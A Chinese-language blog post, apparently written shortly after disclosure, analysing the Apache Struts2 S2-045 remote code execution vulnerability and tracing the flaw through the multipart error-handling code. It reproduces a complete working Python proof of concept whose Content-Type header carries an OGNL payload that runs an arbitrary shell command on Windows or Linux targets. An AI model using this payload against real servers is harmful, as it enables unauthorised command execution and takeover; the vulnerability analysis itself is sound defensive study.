0x01 前言java
前幾天剛分析完s2-032這個漏洞,今天又爆發了一個s2-045的漏洞,又是直接的命令執行,影響了struts2絕大多數的版本.python
官方給的漏洞公告在這裏 https://cwiki.apache.org/confluence/display/WW/S2-045linux
受影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10express
其實昨天就看到朋友圈有人在發這個漏洞,一看是s2-045,心想着struts2的問題可真多,編號都排到45了,就像道哥說的同樣若是一個軟件出現的漏洞較多,那麼說明代碼維護者的安全意識與安全經驗有所欠缺,同時因爲破窗效應,這個軟件將來每每出現更多的漏洞,struts2確實讓人不太省心,而後當時也給本身一個作j2ee開發的朋友說s2又爆出了一個漏洞,他還不在意的說誰如今還用struts2啊,咱們如今都用SpringMVC了,可是本身測試了幾個大型的網站,仍是受到了s2-045漏洞的影響,仔細想一想的確如今開發j2ee struts2框架的不多了,可是一些網站的老系統以前都是用的s2框架,而這些可能又是和他們業務息息相關的,一時的徹底替代成本過高,因此基本是就是「修修補補又三年」的狀態。apache
0x02 poc分析安全
網上流傳的poc傳播的很快,代碼以下:bash
#! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) response = urllib2.urlopen(request) print response.read() poc()
以前測試s2-032的環境struts2的版本就是2.3.28,也是此次漏洞受影響的版本,因此是直接就能夠拿來用。app
wireshark抓個包看看。以下圖所示:框架
從poc和wireshark中能夠看到,惡意的payload是以http header中的Content-type爲載體的,最終致使ognl表達式的命令執行的目的。這個poc的ognl表達式和以前的s2-032不一樣,仍是很有講究的,對win和linux作了兼容性處理。ide
0x03 漏洞分析
過程回溯
經過patch對比發現
變化就在return的這行,從所在的類名和函數名buildErrorMessage能夠看出應該是當對Mulitpart解析出錯以後「創建」錯誤消息,那咱們在這裏加個斷點試試看,加斷點以後發現當代碼執行完這行到這一步的時候,對應的咱們的命令就執行了,以下圖
據此能夠斷定這裏就是問題所在的地方,那這個findtext又是什麼來路?咱們來看看這個函數的定義:
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) { ValueStack valueStack = ActionContext.getContext().getValueStack(); return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); } /** * Finds a localized text message for the given key, aTextName. Both the key and the message * itself is evaluated as required. The following algorithm is used to find the requested * message: * <p/> * <ol> * <li>Look for message in aClass' class hierarchy. * <ol> * <li>Look for the message in a resource bundle for aClass</li> * <li>If not found, look for the message in a resource bundle for any implemented interface</li> * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li> * </ol></li> * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in * the model's class hierarchy (repeat sub-steps listed above).</li> * <li>If not found, look for message in child property. This is determined by evaluating * the message key as an OGNL expression. For example, if the key is * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an * object. If so, repeat the entire process fromthe beginning with the object's class as * aClass and "address.state" as the message key.</li> * <li>If not found, look for the message in aClass' package hierarchy.</li> * <li>If still not found, look for the message in the default resource bundles.</li> * <li>Return defaultMessage</li> * </ol> * <p/> * When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a * message for that specific key cannot be found, the general form will also be looked up * (i.e. user.phone[*]). * <p/> * If a message is found, it will also be interpolated. Anything within <code>${...}</code> * will be treated as an OGNL expression and evaluated as such. * <p/> * If a message is <b>not</b> found a WARN log will be logged. * * @param aClass the class whose name to use as the start point for the search * @param aTextName the key to find the text message for * @param locale the locale the message should be for * @param defaultMessage the message to be returned if no text message can be found in any * resource bundle * @param valueStack the value stack to use to evaluate expressions instead of the * one in the ActionContext ThreadLocal * @return the localized text, or null if none can be found and no defaultMessage is provided */
大體的意思是經過給定的key和aTextname找到本地化的text message,關鍵點在key這個參數會進行ognl表達式的執行。不斷跟進代碼,咱們最終發現了ognl表達式和咱們的payload是在LocalizedTextUtil類的getDefaultMessage()這個函數裏面最終執行的。
可見漏洞產生的關鍵點是在處理 error message產生了問題,message拼接了用戶的「輸入」,而這個message參數會傳遞到transalteVariables()這個函數,這個函數的定義以下:
/** * Converted object from variable translation. * * @param open * @param expression * @param stack * @param asType * @param evaluator * @return Converted object from variable translation. */ public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) { ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() { public Object evaluate(String parsedValue) { Object o = stack.findValue(parsedValue, asType); if (evaluator != null && o != null) { o = evaluator.evaluate(o.toString()); } return o; } };
expression是要被用做ognl表達式執行的,這個時候就boom,命令執行了。
0x04 小結
攻擊者構造的header中的Content-Type會通過dispatcher.multipart包中Jakarta相關類的處理,可是解析出錯,並且是未定義的錯誤,那麼程序就將這個錯誤message「輸出」出來,但在輸出的時候還拼接了用戶的輸入,並且還被當作ognl表達式來執行(有些不太讓人理解?爲了更友好的展現錯誤輸出信息?),這樣就致使了命令執行。
0x05 防護
升級至最新版本
0x06 Reference
1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0